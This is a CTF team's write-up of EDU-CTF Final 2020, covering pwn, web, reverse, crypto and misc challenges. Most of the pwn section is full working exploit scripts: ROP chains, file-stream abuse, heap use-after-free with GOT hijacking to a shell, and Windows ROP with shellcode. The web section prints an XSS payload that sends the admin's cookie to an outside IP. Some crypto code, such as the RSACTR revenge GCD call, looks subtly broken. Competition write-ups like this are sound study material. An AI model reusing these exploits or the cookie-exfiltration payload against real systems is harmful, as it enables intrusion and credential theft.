# EDU-CTF Final 2020 Team: `Belsn` [TOC] ## Pwn ### Impossible ``` Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) ``` #### Vulnerability * `abs(0x8000000) == 0x8000000` , so after `abs()` the length still pretty large (negative if signed), so we can buffer overflow to chain ROP #### Exploit ```python #!/usr/bin/env python from pwn import * r = remote('eductf.zoolab.org', 10105) r.sendlineafter('Size: ', str(0x80000000)) pop_rdi = 0x400873 puts_got = 0x601018 call_puts = 0x4007e4 buf = 0x601140 payload = 'A'*256 + p64(buf) + p64(pop_rdi) + p64(puts_got) + p64(call_puts) r.sendlineafter("It's safe now :)\n", payload) libc = u64(r.recv(6).ljust(8, '\x00')) - 0x809c0 onegadget = libc + 0x4f322 log.success('libc: ' + hex(libc)) r.sendline('A'*264 + p64(onegadget)) r.interactive() ``` Flag: `FLAG{H0w_did_y0u_byp4ss_my_ch3cking?_I7s_imp0ss1b1e!}` ### nonono ``` Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled ``` #### Vulnerability * Index out-of-bound, no check if index is negative value * `note[-7]` can leak code address * We can overwrite `stdout` to our fake file structure in order to get arbitrary leak * We can overwrite `stdin` to get arbitrary write #### Exploit ```python #!/usr/bin/env python import sys from pwn import * if len(sys.argv) == 1: r = process('./nonono') else: r = remote('eductf.zoolab.org', 20005) def add(idx, sz, data, silent=0): r.sendlineafter('>> ', '1') r.sendlineafter('IDX : ', str(idx)) r.sendlineafter('SIZE : ', str(sz)) if silent == 1: r.sendline(data) elif sz > 0: r.sendlineafter('CONTENT: ', data) def show(idx): r.sendlineafter('>> ', '2') r.sendlineafter('IDX : ', str(idx)) def remove(idx): r.sendlineafter('>> ', '3') r.sendlineafter('IDX : ', str(idx)) def flag(): r.sendlineafter('>> ', '4') show(-7) data = u64(r.recv(6).ljust(8, '\x00')) - 8 code = data - 0x202000 log.success('code: ' + hex(code)) add(2, 0x80, 'aaaa') flag() fs = p64(0xfbad1800) + p64(0) fs += p64(0) + p64(0) fs += p64(data-0x90) + p64(data+0x100) fs += p64(data+0x100) + p64(data+0x100) fs += p64(data+0x100) + p64(0) fs += p64(0) + p64(0) fs += p64(0) + p64(0) fs += p64(1) + p64(0xffffffffffffffff) fs += '\x00\x00\x00' add(-4, 0x220, fs, 1) r.recvuntil('===========================\n') r.recvuntil('===========================\n') libc = u64(r.recv(8)) - 0x97950 log.success('libc: ' + hex(libc)) free_hook = libc + 0x3ed8e8 onegadget = libc + 0x4f322 r.recv(0xa8) heap = u64(r.recv(8)) - 0x2f0 log.success('heap: ' + hex(heap)) r.sendlineafter('>> ', '4') tmp = 0 fs = p64(0xfbad0000) + p64(tmp) fs += p64(tmp) + p64(tmp) fs += p64(tmp) + p64(tmp) fs += p64(tmp) + p64(data+0x60) fs += p64(data+0x60+0x20) + p64(0) fs += p64(0) + p64(0) fs += p64(0) + p64(0) fs += p64(0) + p64(0xffffffffffffffff) fs += '\x00\x00\x00' add(0, 0x220, fs) remove(0) add(-2, 0x220, p64(heap+0x260)) add(9, 0x20, p64(heap+0x260)*3) remove(2) remove(6) add(0, 0x80, p64(free_hook)) add(0, 0x80, p64(free_hook)) add(0, 0x80, p64(onegadget)) r.interactive() ``` Flag: `FLAG{Now_You_Know_the_File_Stream}` ### EasyROP ``` Arch: i386-32-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) ``` #### Vulnerability * Buffer overflow without leak * Use `strcpy` to copy libc gadget to `bss` * `read_GOT+0x20` = `int 0x80`, we can use `strcpy` to partial overwrite this gadget to `int 0x80` to call arbitrary syscall * `popal` is a very useful gadget :) * Chain ROP to orw #### Exploit ```python #!/usr/bin/env python import sys import random from hashlib import sha256 from pwn import * SLEEP = 1 if len(sys.argv) == 1: r = process('./EasyROP') else: r = remote('eductf.zoolab.org', 20004) chal = r.recvline().strip() print chal n = 0 while True: sol = '{:014}'.format(n) if sha256(chal + sol).hexdigest().startswith('dadada'): print sol r.send(sol) sleep(SLEEP) break n += 1 print r.recvline().strip() buf = 0x804a110 strcpy = 0x80484a0 read = 0x8048470 read_got = 0x8049fe0 null_buf = 0x8049ffc got = 0x8049fd0 pop_ebp = 0x804886b pop_pop = 0x804886a pop_pop_pop = 0x8048869 leave_ret = 0x8048575 popal = 0x8048808 ret = 0x8048432 rop = p32(pop_ebp) + p32(buf+0x24) rop += p32(0x8048775) + p32(buf) + p32(0x11111111) payload = p32(ret)*11 + rop r.send(payload) sleep(SLEEP) payload = p32(ret)*16 r.send(payload) sleep(SLEEP) flagpath = 0x804a128 flag = '/home/EasyROP/flag' payload = p32(buf)*5 + p32(buf+0x3c) + flag + '\x00'*6 + p32(buf)*2 payload += p32(strcpy) + p32(pop_pop) + p32(buf+0x200) + p32(got) payload += p32(strcpy) + p32(pop_pop) + p32(buf+0x201) + p32(read_got+1) payload += p32(strcpy) + p32(pop_pop) + p32(buf+0x204) + p32(null_buf) payload += p32(strcpy) + p32(pop_pop) + p32(buf+0x205) + p32(null_buf) payload += p32(strcpy) + p32(pop_pop) + p32(buf+0x206) + p32(null_buf) payload += p32(strcpy) + p32(pop_pop) + p32(buf+0x207) + p32(null_buf) payload += p32(strcpy) + p32(pop_pop) + p32(buf+0x300) + p32(buf+0x200) payload += p32(strcpy) + p32(pop_pop) + p32(buf+0x400) + p32(buf+0x200) payload += p32(strcpy) + p32(pop_pop) + p32(buf+0x500) + p32(buf+0x200) payload += p32(strcpy) + p32(pop_pop) + p32(buf+0x600) + p32(buf+0x200) payload += p32(read) + p32(pop_pop_pop) + p32(0) + p32(buf+0x300-0x24) + p32(0x24) payload += p32(read) + p32(pop_pop_pop) + p32(0) + p32(buf+0x400-0x24) + p32(0x24) payload += p32(read) + p32(pop_pop_pop) + p32(0) + p32(buf+0x500-0x24) + p32(0x24) payload += p32(read) + p32(pop_pop_pop) + p32(0) + p32(buf+0x300+0x20) + p32(0x4) payload += p32(read) + p32(pop_pop_pop) + p32(0) + p32(buf+0x400+0x20) + p32(0x4) payload += p32(read) + p32(pop_pop_pop) + p32(0) + p32(buf+0x500+0x20) + p32(0x4) payload += p32(pop_ebp) + p32(buf+0x300-0x28) + p32(leave_ret) payload += p32(0) + p32(buf+0x160) + p32(leave_ret) r.sendline(payload) sleep(SLEEP) # edi, esi, ebp, skip, ebx, edx, ecx, eax payload = p32(popal) payload += p32(0)*2 + p32(buf+0x400-0x28)*2 payload += p32(flagpath) + p32(0) + p32(0) + p32(5) r.send(payload) sleep(SLEEP) payload = p32(popal) payload += p32(0)*2 + p32(buf+0x500-0x28)*2 payload += p32(3) + p32(0x100) + p32(buf) + p32(3) r.send(payload) sleep(SLEEP) payload = p32(popal) payload += p32(0)*2 + p32(buf+0x160)*2 payload += p32(1) + p32(0x100) + p32(buf) + p32(4) r.send(payload) sleep(SLEEP) payload = p32(leave_ret) r.send(payload) sleep(SLEEP) payload = p32(leave_ret) r.send(payload) sleep(SLEEP) payload = p32(leave_ret) r.send(payload) r.interactive() ``` Flag: `FLAG{Congratulations!happy New Year!}` ### BlueNote > Windows Pwn #### Vulnerability * After create 5 notes, we can show the 6th note which can leak `canary`, `code` address, `kernel32` address and `ntdll` address. * After create 5 notes, we can edit the 6th note which can overwrite return address * Chain ROP to orw #### Exploit ```python #!/usr/bin/env python from pwn import * context.arch = 'amd64' host = 'eductf.zoolab.org' port = 30001 r = remote(host, port) def add(data): r.sendlineafter('choice:', '1') r.sendlineafter('Data:', data) def addf(idx, data): r.sendlineafter('choice:', '1') r.sendlineafter('Index:', str(idx)) r.sendlineafter('Data:', data) def show(idx): r.sendlineafter('choice:', '2') r.sendlineafter('Index:', str(idx)) def bye(): r.sendlineafter('choice:', '3') for i in range(5): add(str(i)*0xff) addf(5, 'a') show(5) print repr(r.recv(0x54)) canary = u64(r.recv(8)) log.success('canary: ' + hex(canary)) r.recv(8) code = u64(r.recv(8)) - 0x1734 log.success('code: ' + hex(code)) r.recv(0x38) kernel32 = u64(r.recv(8)) - 0x17bd4 log.success('kernel32: ' + hex(kernel32)) r.recv(0x28) ntdll = u64(r.recv(8)) - 0x6ced1 log.success('ntdll: ' + hex(ntdll)) pop_rcx = ntdll + 0x21597 pop_rdx_r11 = ntdll + 0x8c4b7 pop_r12 = ntdll + 0xb415 pop_r8_r9_r10_r11 = ntdll + 0x8c4b2 mov_ecx_eax = ntdll + 0x10d566 pop_rsp = ntdll + 0xb416 buf = code + 0x4b00 readfile = kernel32 + 0x22410 getstdhandle = kernel32 + 0x1c610 createfile = kernel32 + 0x22080 writefile = kernel32 + 0x22500 virtualprotect = kernel32 + 0x1af90 payload = p64(pop_rcx) + p64(0xfffffff6) payload += p64(getstdhandle) payload += p64(mov_ecx_eax) payload += p64(pop_rdx_r11) + p64(buf) + p64(0) payload += p64(pop_r8_r9_r10_r11) + p64(0x400) + p64(buf+0x300) + p64(0) + p64(0) payload += p64(readfile) payload += p64(pop_rsp) + p64(buf) addf(5, 'a'*0x50 + p64(canary) + p64(buf-0x200) + payload) bye() payload = p64(pop_rcx) + p64(buf) payload += p64(pop_rdx_r11) + p64(0x2000) + p64(0) payload += p64(pop_r8_r9_r10_r11) + p64(0x40) + p64(buf-0x100) + p64(0) + p64(0) payload += p64(virtualprotect) + p64(buf+0xa0) + p64(0)*8 sc = asm(""" jmp flagx s : pop r10 createfile: mov qword ptr [rsp+0x40],3 mov qword ptr [rsp+0x30],0 mov qword ptr [rsp+0x28],0 lea r12,qword ptr [rsp+0x40] mov qword ptr [rsp+0x20],3 mov r8,1 xor r9,r9 mov rdx,0x80000000 mov rcx,r10 mov r11,0x%x call r11 readfile: mov qword ptr [rsp+0x20],0 xor r9,r9 mov r8,0x80 mov rdx,0x%x mov rcx,rax mov r11,0x%x call r11 getstdhandle: mov rcx,0xfffffff6 mov r11,0x%x call r11 writefile: mov qword ptr [rsp+0x20],0 xor r9,r9 mov r8,0x80 mov rdx,0x%x mov rcx,rax mov r11,0x%x call r11 loop: jmp loop flagx: call s """ % (createfile,buf-0x200,readfile,getstdhandle,buf-0x200,writefile)) flagfile = './flag.txt\x00' r.sendline(payload + sc + flagfile) r.interactive() ``` Flag: `FLAG{how2yuawn_how2win_dadada}` ### re-alloc ``` Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) FORTIFY: Enabled ``` **Best Pwn Challenge, really fun!!!!** #### Vulnerability * UAF in `reallocate()`, we can assign `size = 0` to free a memory * Use `realloc(buf, 0)` to free `buf` and `realloc(buf, size_buf-0x20)` to get overlapped chunk * Interesting fact that compiler will optimize `realloc(NULL, size)` to `malloc(size)`, which is really useful as we can GOT hijack `realloc` and `malloc()` still available * GOT hijack `realloc` to `puts` then we can leak arbitrary memory using `rfree()`, and it will clear out the address to `NULL` so we can allocate new buf again! * GOT hijack `realloc` to `system` to get shell #### Exploit ```python #!/usr/bin/env python import sys from pwn import * if len(sys.argv) == 1: r = process('./re-alloc') else: r = remote('eductf.zoolab.org', 10106) def alloc(idx, sz, data): r.sendlineafter('Your choice: ', '1') r.sendlineafter('Index:', str(idx)) r.sendlineafter('Size:', str(sz)) r.sendlineafter('Data:', data) def realloc(idx, sz, data=''): r.sendlineafter('Your choice: ', '2') r.sendlineafter('Index:', str(idx)) r.sendlineafter('Size:', str(sz)) if sz != 0: r.sendlineafter('Data:', data) def free(idx): r.sendlineafter('Your choice: ', '3') r.sendlineafter('Index:', str(idx)) alloc(0, 0x40, 'a'*8) realloc(0, 0) alloc(1, 0x40, 'a'*8) free(1) realloc_got = 0x404060 realloc(0, 0x20, 'a'*8) realloc(0, 0x40, 'b') alloc(1, 0x40, 'a'*0x20 + p64(0) + p64(0x21) + p64(realloc_got)) free(0) free(1) puts_plt = 0x401050 alloc(0, 0x10, p64(realloc_got)) alloc(1, 0x10, p64(puts_plt)[:-2]) free(0) free(1) puts_got = 0x404028 buf = 0x4040d0 alloc(0, 0x20, p64(buf)) alloc(1, 0x20, p64(realloc_got)) free(1) alloc(1, 0x20, p64(puts_got)) free(1) alloc(1, 0x20, '/bin/sh') free(0) libc = u64(r.recvline().strip().ljust(8, '\x00')) - 0x83cc0 log.success('libc: ' + hex(libc)) system = libc + 0x52fd0 alloc(0, 0x20, p64(system)) free(1) r.interactive() ``` Flag: `FLAG{Heeeeeeeeeeeeeeeeeeeeeee4p}` ## Web ### babyRMI - Vulnerability: - we can utilize client.java to connect to the rmi registry and can modify the client.java to get the information about the server - we add a line of code in client.java to view all the objects/name on the RMI registry ``` String[] boundNames = registry.list(); ``` - than we found out there is a FLAG object. We look up the FLAG object and call the getSecret function, which contains the flag. - client.java ```c= String host = "140.113.203.209"; int port = 11099; try { Registry registry = LocateRegistry.getRegistry(host, port); String[] boundNames = registry.list(); for (String name : boundNames) { System.out.println(name); } RMIInterface stub = (RMIInterface) registry.lookup("FLAG"); String response = stub.getSecret(); System.out.println("response: " + response); } catch (Exception e) { System.err.println("Client exception: " + e.toString()); e.printStackTrace(); } ``` Flag: `FLAG{java_registry_is_important_to_rmi_deserialization_vulnerability!}` ### how2meow #### Condition we can do three things 1. upload a file 2. send arbitrary text and it will show up in the meow.php page 3. ask admin to request any http/https - for the file, it should be able to `unzip`, and contain a file called `meow` that start with ```edu-ctf``` - for the meow.php, the csp is as follow: ``` default-src "self" "unsafe-eval"; img-src *; ``` so we can only include javascript from `komodo.zoolab.org`. #### Solution combining all the information above, we can include the zip file we uploaded into meow.php as javascript. And since contraint to zip file's structure is loose (you can add arbitrary text as prefix or suffix of a zip file), we add ``` window.location.replace("http://140.112.31.111:8080/?flag=" + document.cookie); /* ``` to the front of the zip file and and a `*/` to the end of the zip file, so now this file can be recognize by javascript engine and `unzip` command at the same time. So our workflow is as follow 1. create the file mentioned above and upload to `upload.php` and save the path. 2. include the file we've just upload as javascript in `meow.php`, e.g. ```html <script src="the_path_to_our_file"></script> ``` this will give us a url something like ```https://komodo.zoolab.org/meow.php?q=<script src=.........``` 3. ask admin to request the url to `meow.php`, then admin's cookie will be sent to `140.112.31.111` Flag:`FLAG{u_r_m3ow_xss_m4ster}` ## Reverse ### PokemonGo - Analysis - Given a trace log, try to find the key function and reverse it. The key function is **pikacheck** - pikacheck function takes user input(length=20) as parameter. Every characters in the input string will add with the next characters in the strings, and we can get a list of 20 element, each element is the addition of a character in the string added by the following character in the string. The list should be equal to a certain list defined in the function. Hence, we should guess the specific input string that would pass pikacheck. - reversed pikacheck: ```c= len(input) -> 20 len(t0) -> 20 for i in range(20): t0[i] = input[i] + input[(i+1)%(len(input))] cmpList = [185,212,172,145,185,212,172,177,217,212,204,177,185,212,204,209,161,124,172,177] int l[20] for i in range(20): l[i] = t0[i] - cmpList[i] int Total = sum(l) assert Total == 0 ``` - payload ```c= import string alphaList = list(string.ascii_lowercase + string.ascii_uppercase + '0123456789') sumlist = [185,212,172,145,185,212,172,177,217,212,204,177,185,212,204,209,161,124,172,177] l = [0]*20 for alpha in alphaList: l[0] = ord(alpha) for i in range(len(sumlist)): if i == 19: if l[0] + l[19] == 177: ans = [chr(x) for x in l] print("ans = ",''.join(ans)) else: if chr(sumlist[i]-l[i]) in alphaList: l[i+1] = sumlist[i]-l[i] ``` - Reference - [0ctf writeup](http://blog.terrynini.tw/en/2018-0CTF-Quals-g0g0g0/) Flag: `FLAG{PikAPikApikaPikap1Ka}` ### H0W - Analysis - 1.先把 pyc 檔 decompile 可以看到 `H0W.py` 程式行為,他會 `from terrynini import *`,因此知道要去 reverse `terrynini.so`。 - 2.經過分析,總共需要知道六個 function 在 `terrynini.so` 裡的功能,分別如下: - `nini1()、nini4()` : `srand(time(0))` - `nini3()` :`FD = open("output.txt", "w");` - `nini2()` :得到現在的時間,包含日期、時、分、秒,存成一個字串 - `nini5()` :把四個 byte 用 little endian 看成一個數字 x,呼叫 `rand()`,根據亂數 %4 決定要把 x 經過哪一個 function 運算產生 y - `nini6()` :把一個數字用 little endian 印出 - 3.因此知道 `H0W.py` 程式行為 - 1.把 `input 檔案` 讀入 - 2.根據現在的時間初始化亂數 - 3.把 `input 檔案` 每四個 byte,根據 `rand()%4`,決定要用哪一個 function 把其轉成另一個數字 y,並寫到 output.txt - 4.把現在的時間資訊寫到 output.txt - 4.反向 `H0W.py` 程式行為 - 1.output.txt 之後,可以得到時間的資訊,也就知道亂數的種子 - 2.把數字打亂的 4 個 function 都是可逆的,產出他們反函數 (payload 如下) - 3.把 output.txt 反著做回去產生 `input 檔案` - 4.`input 檔案` 是一張圖片檔,上面寫有 flag - Payload ```c= #include <stdio.h> #include <stdlib.h> #include <time.h> #include <ctype.h> unsigned int rol(unsigned int x, int num){ for(int i = 0; i < num; i++) x = ((x & 0x80000000) ? 0x00000001 : 0x00) | (x << 1); return x; } unsigned int ror(unsigned int x, int num){ for(int i = 0; i < num; i++) x = ((x & 0x00000001) ? 0x80000000 : 0x00) | (x >> 1); return x; } unsigned int reverse_ichinokata(unsigned int b1){ return b1 ^ 0xFACEB00C; } unsigned int reverse_ninokata(unsigned int b1){ return (b1 - 74628); } unsigned int reverse_sannokata(unsigned int b1){ return (ror(b1 & 0xAAAAAAAA, 2) | rol(b1 & 0x55555555, 4)); } unsigned int reverse_yonnokata(unsigned int b1){ unsigned int w1 = reverse_sannokata(b1); unsigned int w2 = reverse_ninokata(w1); return reverse_ichinokata(w2); } int main(void){ time_t GitHub = 1578809614 - 10368000 - 86400*3 - 3600 + 12*60 - 20; srand(GitHub); FILE* fp = fopen("output.txt","rb"); FILE* fp2 = fopen("my_reverse.txt","wb"); unsigned char buffer[4]; while(fread( &buffer, 1, 4, fp ) == 4){ unsigned int input, output; input = buffer[0] + buffer[1]*256 + buffer[2]*256*256 + buffer[3]*256*256*256; int tmp = rand(); switch(tmp % 4){ case 0: output = reverse_ichinokata(input); break; case 1: output = reverse_ninokata(input); break; case 2: output = reverse_sannokata(input); break; case 3: output = reverse_yonnokata(input); break; } fprintf( fp2, "%c%c%c%c", (output>> 0) & 0xFF, (output>> 8) & 0xFF, (output>> 16) & 0xFF, (output>> 24) & 0xFF); } return 0; } ``` Flag: `FLAG{H3Y_U_C4NT_CHiLL_H3R3}` ### YugiMuto this is a gameboy reverse. The main logic is from `0x00000f77` to `0x00000fb3`, simply follow the logic then we can get flag (the input is transformed into index) script: ```python= x = '10090e1a0810051a201602130608020e2303201a' d = 'xxABCDEFGHIJKLMNOPQRSTUVWXYZ_.-!0123456789' ans = '' for i in range(0, len(x), 2): now = int(x[i:i+2], 16) ans += d[now] print ans ``` Flag: `FLAG{OHMYGODY0UAREGAM3B0Y}` ## Crypto ### RSACTR #### condition there are three things we can get 1. n, e (public key) 2. $$(nonce+2020*x)^d + flag$$, x is known 3. $$ (nonce+2020*x)^d + y $$, x, y is known #### solution 1. since we know $$ z =(nonce+2020*x)^d + y$$, and x, y is known, we can get nonce. $$ nonce = (z-y)^e - 2020*x$$ 2. now we get the following equation $$ w = (nonce+2020*x)^d + flag$$, since x, w and nonce are known, we can eliminate `d` and get the following equation $$ (w-flag)^e - 2020*x = nonce $$ and since e is 3 and flag is small enough compared with `w`, we can solve this with coppersmith Flag: `FLAG{dIdyousolVEITWIthCoppERsmith}` ### RSACTR revenge (not solved) #### condition compared with `RSACTR`, we now don't have the third condition. However, we can get three second equation with different x #### solution It's such a shame I didn't solve this during the competition. Let's get the first 16 bytes of the flag, the rest are totally the same. We get 1. $$ x1 = (nonce)^d + flag $$ 2. $$ x2 = (nonce + 4040)^d + flag $$ 3. $$ x3 = (nonce + 8080)^d + flag $$ so we get following two polynomial 1. $$ f(x) = (x2-x)^e - (x1-x)^e - 4040 $$ 2. $$ f(x) = (x3-x)^e - (x2-x)^e - 4040 $$ (I stuck here during the contest.....) note that these two function has a root `flag`, so we can simply get gcd of this two polynomial and we can get flag ```sage from Crypto.Util.number import long_to_bytes def GCD(p1, p2): while True: if p1.degree() > p2.degree(): tmp_p1 = p1 p1 = p2 p2 = tmp_p1 c1 = p1.coefficients() c2 = p2.coefficients() print p1.degree(), p2.degree() if p1.degree() <= 1 and p2.degree() <= 1: print (-1*(1/c1[1])*c1[0]) print long_to_bytes(-1*(1/c1[1])*c1[0]) print (-1*(1/c2[1])*c2[0]) print long_to_bytes(-1*(1/c2[1])*c2[0]) return to_mul = (1 / c1[-1])*c2[-1] to_mul *= y^(p2.degree()-p1.degree()) p2 -= to_mul*p1 ans = '' ZM = Zmod(n) P.<x> = PolynomialRing(ZM) f1=((x2-x)^4097-(x1-x)^4097-4040) f2=((x3-y)^4097-(x2-y)^4097-4040) GCD(x1, x2) ``` Flag: `FLAG{GCdISSuchaGO0DalgOriTHM}` ### Train #### condition This is a RSA + CBC. We can still do sort of "oracle attack", no special thing, so I'll just paste the code #### solution ```python= import binascii from pwn import * from Crypto.Util.number import * host = 'eductf.zoolab.org' port = 20002 def set_payload(ans, target): length = len(ans) if length == 0: return '' ret = (bytes_to_long(ans) - bytes_to_long(target[:length])) & ((1<<8*length)-1) return long_to_bytes(ret) def set_answer(found, ans, payload, target): length = len(ans) if length == 0: return chr((found + ord(':')) % 256) ret = bytes_to_long(chr(found) + payload) + bytes_to_long(':' + target[:length]) length += 1 ret &= ((1<<8*length)-1) return long_to_bytes(ret) r = remote(host, port) r.sendlineafter('>', '1') for _ in range(2): exec(r.recvuntil('\n').strip()) ticket = r.recvuntil('\n').strip().replace('ticket = ', '').strip() now = int(ticket[512:768], 16) last = int(ticket[768:1024], 16) # solve 512~768 by coppersmith testing1 = ticket[768:1024] testing2 = ticket[1024:1280] print 'now={}'.format(now) print 'n={}'.format(n) print 'last={}'.format(last) to_minus = int(testing1, 16) ans = '' target = '2019/1/11||'.ljust(16, ' ') for plain in range(16): padding = (hex(pow(bytes_to_long(target[plain:].ljust(16, ' ')) + int(testing2, 16), e, n))[2:].replace('L', '')) if len(padding) % 2 != 0: padding = '0' + padding solved = set_payload(ans, target) print 'solved : ', solved for i in range(256): r.sendlineafter('>', '2') payload = testing1[:256-(plain+1)*2] + hex(i)[2:].rjust(2, '0') + binascii.hexlify(solved) + testing2 + padding r.sendlineafter('ticket = ', payload) ret = r.recvuntil('\n') if 'Pass' in ret: ans = set_answer(i, ans, solved, target) break real = '' ans = bytes_to_long(ans) print (ans) print (to_minus) ans -= (to_minus % (2**128)) ans %= n print long_to_bytes(ans) ``` Flag: `FLAG{cBCNEVERGetSoLD}` ### winner winner chicken dinner #### condition The key point of this challenge is to write the `step` function into a multiply operation in GF(2^128) so that the whole system become linear, and we can solve it with some matrix multplication. #### solution After change into GF(2^128), the `random()` function change into `state*x^43`, and note that we can calculate the result bit by bit (for example, if the first state is $$ 11_{2}$$, then output of `random()` will be eqivalent to output of the sum of `random()` with initial state become $$10_{2}, 01_{2}$$ ) first collect 64 output from the RNG, then we can establish 64 equations from this, and we only have 64 variables (the initial state is 64 bits long), simply solve it with some linear algebra then we break the PRNG script (only the equation solving part, the connection part is not included since it is too trivial): ```sage import os import binascii F = GF(2^65) FF.<x> = GF(2^64, modulus=F.fetch_int(0x1fd07d87ee65cb055)) state = int(binascii.hexlify(os.urandom(8)), 16) poly = 0xaa0d3a677e1be0bf def gf_step(): global init_state init_state = init_state * (x^43) ret = init_state.integer_representation() return (ret >> 63) & 1 def step(): global state out = state & 1 state >>= 1 if out: state ^^= poly return out def random(): for _ in range(42): step() return step() gf_state = int(''.join(reversed(bin(state)[2:])), 2) gf_state = FF.fetch_int(gf_state) while True: break gf_state = gf_state * (x^43) ret = gf_state.integer_representation() print (ret >> 63) & 1 print random() raw_input('#') with open('input', 'r') as f: seq = f.read() seq = eval(seq) print seq now_state = 1 total = [] for i in range(64): now = [] now_state *= (x^43) for i in range(64): now_bit = x^i now_bit = now_bit * now_state now_bit = now_bit.integer_representation() now_bit = (now_bit >> 63) & 1 now.append(now_bit) total.append(now) M = Matrix(FF, total).T seq = Matrix(FF, seq) ret = seq * (M^-1) ret = ret[0] print ret init_state = 0 for i in range(64): init_state += ret[i]*x^i for i in range(64): gf_step() with open('output', 'w') as f: for i in range(100): f.write(str(gf_step()) + '\n') ``` Flag: `FLAG{w3_W4nT_fA_d4_CaI!!!fA_d4_CaI!!!fA_d4_CaI!!!}` ## Misc ### Welcome Flag is in https://tlk.io-edu-ctf-2019 Flag: `FLAG{Welc0me_t0_Fin41_CTF_and_H4ppy_N3w_Year!}` ### Ponzi Scheme - Introduction - users will first complete a PoW to enter the Ponzi Scheme webpage. Users then have to compete with others through investing all their money into the scheme and finally earn 10000 dollars. - Workflow - users will need to complete the PoW to enter the Ponzi Scheme webpage, the PoW code is provided by bookgin - pick a time with less competitors(ex: dinner time/midnight), try to create several users to help with the investigation. Eventually, you can earn 10000 dollars and get the flag. Flag: `FLAG{ponzischeme_fa_da_chai$_$!!!}`